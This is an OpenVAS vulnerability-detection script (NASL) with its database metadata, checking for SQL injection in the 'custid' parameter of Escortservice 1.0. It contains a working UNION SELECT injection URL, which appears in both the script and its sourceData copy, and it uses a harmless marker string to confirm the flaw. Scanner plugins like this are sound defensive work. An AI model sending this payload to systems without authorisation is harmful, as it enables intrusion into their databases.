ID OPENVAS:103065 Type openvas Reporter This script is Copyright (C) 2011 Greenbone Networks GmbH Modified 2017-03-28T00:00:00
Description
Escortservice is prone to an SQL-injection vulnerability because the
application fails to properly sanitize user-supplied input before
using it in an SQL query.
A successful exploit could allow an attacker to compromise the
application, access or modify data, or exploit vulnerabilities in the
underlying database.
Escortservice 1.0 is vulnerable; other versions may also be affected.
###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_escortservice_46171.nasl 5749 2017-03-28 13:47:32Z cfi $
#
# Escortservice 'custid' Parameter SQL Injection Vulnerability
#
# Authors:
# Michael Meyer <michael.meyer@greenbone.net>
#
# Copyright:
# Copyright (c) 2011 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################
tag_summary = "Escortservice is prone to an SQL-injection vulnerability because the
application fails to properly sanitize user-supplied input before
using it in an SQL query.
A successful exploit could allow an attacker to compromise the
application, access or modify data, or exploit vulnerabilities in the
underlying database.
Escortservice 1.0 is vulnerable; other versions may also be affected.";
tag_solution = "Currently, we are not aware of any vendor-supplied patches. If you
feel we are in error or if you are aware of more recent information,
please mail us at: vuldb@securityfocus.com.";
if(description)
{
script_id(103065);
script_version("$Revision: 5749 $");
script_tag(name:"last_modification", value:"$Date: 2017-03-28 15:47:32 +0200 (Tue, 28 Mar 2017) $");
script_tag(name:"creation_date", value:"2011-02-07 12:50:03 +0100 (Mon, 07 Feb 2011)");
script_bugtraq_id(46171);
script_tag(name:"cvss_base", value:"7.5");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
script_name("Escortservice 'custid' Parameter SQL Injection Vulnerability");
script_xref(name : "URL" , value : "https://www.securityfocus.com/bid/46171");
script_xref(name : "URL" , value : "http://www.media-products.de/escort-service-begleitagentur-v10-p-211.html");
script_tag(name:"qod_type", value:"remote_vul");
script_category(ACT_ATTACK);
script_family("Web application abuses");
script_copyright("This script is Copyright (C) 2011 Greenbone Networks GmbH");
script_dependencies("find_service.nasl", "http_version.nasl");
script_require_ports("Services/www", 80);
script_exclude_keys("Settings/disable_cgi_scanning");
script_tag(name : "solution" , value : tag_solution);
script_tag(name : "summary" , value : tag_summary);
exit(0);
}
include("http_func.inc");
include("http_keepalive.inc");
port = get_http_port(default:80);
if(!can_host_php(port:port))exit(0);
foreach dir( make_list_unique( "/escortservice", cgi_dirs( port:port ) ) ) {
if( dir == "/" ) dir = "";
url = string(dir, "/show_profile.php?custid=1+and+1=0+union+select+1,0x4f70656e5641532d53514c2d496e6a656374696f6e2d54657374,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66--+");
if(http_vuln_check(port:port, url:url,pattern:"OpenVAS-SQL-Injection-Test")) {
report = report_vuln_url( port:port, url:url );
security_message( port:port, data:report );
exit( 0 );
}
}
exit( 99 );
{"bulletinFamily": "scanner", "viewCount": 0, "naslFamily": "Web application abuses", "reporter": "This script is Copyright (C) 2011 Greenbone Networks GmbH", "references": ["https://www.securityfocus.com/bid/46171", "http://www.media-products.de/escort-service-begleitagentur-v10-p-211.html"], "description": "Escortservice is prone to an SQL-injection vulnerability because the\napplication fails to properly sanitize user-supplied input before\nusing it in an SQL query.\n\nA successful exploit could allow an attacker to compromise the\napplication, access or modify data, or exploit vulnerabilities in the\nunderlying database.\n\nEscortservice 1.0 is vulnerable; other versions may also be affected.", "hashmap": [{"key": "bulletinFamily", "hash": "bbdaea376f500d25f6b0c1050311dd07"}, {"key": "cvelist", "hash": "d41d8cd98f00b204e9800998ecf8427e"}, {"key": "cvss", "hash": "8cd4821cb504d25572038ed182587d85"}, {"key": "description", "hash": "1f648b09d052d2675219ef41d5969d34"}, {"key": "href", "hash": "45784bdfd98fb0bc94014221b044d06a"}, {"key": "modified", "hash": "1e5d5c9f371a19ff54fc183bf08db4e9"}, {"key": "naslFamily", "hash": "55199d25018fbdb9b50e6b64d444c3a4"}, {"key": "pluginID", "hash": "9b0fdc94e4b2b82c202d54767dc7df82"}, {"key": "published", "hash": "28a4c858e3281ca6a69425233cefc2bd"}, {"key": "references", "hash": "479f4da09373a0275c97c50a0ed0cc93"}, {"key": "reporter", "hash": "0b096151f899970e9a97f10321d19431"}, {"key": "sourceData", "hash": "0dfbcd7e1743a591b24f79aefb47345c"}, {"key": "title", "hash": "cdae008d77f4b87b06cad2ababcd0f09"}, {"key": "type", "hash": "47c1f692ea47a21f716dad07043ade01"}], "href": "http://plugins.openvas.org/nasl.php?oid=103065", "modified": "2017-03-28T00:00:00", "objectVersion": "1.3", "enchantments": {"score": {"value": 0.5, "vector": "NONE", "modified": "2017-07-02T21:13:38"}, "dependencies": {"references": [], "modified": "2017-07-02T21:13:38"}, "vulnersScore": 0.5}, "id": "OPENVAS:103065", "title": "Escortservice 'custid' Parameter SQL Injection Vulnerability", "hash": "49a7281e43448208dd9576c61124b820f7d02fd64b19a2ef09f60906e8e81ea5", "edition": 1, "published": "2011-02-07T00:00:00", "type": "openvas", "history": [], "cvss": {"score": 0.0, "vector": "NONE"}, "cvelist": [], "lastseen": "2017-07-02T21:13:38", "sourceData": "###############################################################################\n# OpenVAS Vulnerability Test\n# $Id: gb_escortservice_46171.nasl 5749 2017-03-28 13:47:32Z cfi $\n#\n# Escortservice 'custid' Parameter SQL Injection Vulnerability\n#\n# Authors:\n# Michael Meyer <michael.meyer@greenbone.net>\n#\n# Copyright:\n# Copyright (c) 2011 Greenbone Networks GmbH\n#\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the GNU General Public License version 2\n# (or any later version), as published by the Free Software Foundation.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software\n# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.\n###############################################################################\n\ntag_summary = \"Escortservice is prone to an SQL-injection vulnerability because the\napplication fails to properly sanitize user-supplied input before\nusing it in an SQL query.\n\nA successful exploit could allow an attacker to compromise the\napplication, access or modify data, or exploit vulnerabilities in the\nunderlying database.\n\nEscortservice 1.0 is vulnerable; other versions may also be affected.\";\n\ntag_solution = \"Currently, we are not aware of any vendor-supplied patches. If you\nfeel we are in error or if you are aware of more recent information,\nplease mail us at: vuldb@securityfocus.com.\";\n\nif(description)\n{\n script_id(103065);\n script_version(\"$Revision: 5749 $\");\n script_tag(name:\"last_modification\", value:\"$Date: 2017-03-28 15:47:32 +0200 (Tue, 28 Mar 2017) $\");\n script_tag(name:\"creation_date\", value:\"2011-02-07 12:50:03 +0100 (Mon, 07 Feb 2011)\");\n script_bugtraq_id(46171);\n script_tag(name:\"cvss_base\", value:\"7.5\");\n script_tag(name:\"cvss_base_vector\", value:\"AV:N/AC:L/Au:N/C:P/I:P/A:P\");\n script_name(\"Escortservice 'custid' Parameter SQL Injection Vulnerability\");\n\n script_xref(name : \"URL\" , value : \"https://www.securityfocus.com/bid/46171\");\n script_xref(name : \"URL\" , value : \"http://www.media-products.de/escort-service-begleitagentur-v10-p-211.html\");\n\n script_tag(name:\"qod_type\", value:\"remote_vul\");\n script_category(ACT_ATTACK);\n script_family(\"Web application abuses\");\n script_copyright(\"This script is Copyright (C) 2011 Greenbone Networks GmbH\");\n script_dependencies(\"find_service.nasl\", \"http_version.nasl\");\n script_require_ports(\"Services/www\", 80);\n script_exclude_keys(\"Settings/disable_cgi_scanning\");\n script_tag(name : \"solution\" , value : tag_solution);\n script_tag(name : \"summary\" , value : tag_summary);\n exit(0);\n}\n\ninclude(\"http_func.inc\");\ninclude(\"http_keepalive.inc\");\n\nport = get_http_port(default:80);\nif(!can_host_php(port:port))exit(0);\n\nforeach dir( make_list_unique( \"/escortservice\", cgi_dirs( port:port ) ) ) {\n\n if( dir == \"/\" ) dir = \"\";\n url = string(dir, \"/show_profile.php?custid=1+and+1=0+union+select+1,0x4f70656e5641532d53514c2d496e6a656374696f6e2d54657374,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66--+\"); \n\n if(http_vuln_check(port:port, url:url,pattern:\"OpenVAS-SQL-Injection-Test\")) {\n report = report_vuln_url( port:port, url:url );\n security_message( port:port, data:report );\n exit( 0 );\n }\n}\n\nexit( 99 );\n", "pluginID": "103065"}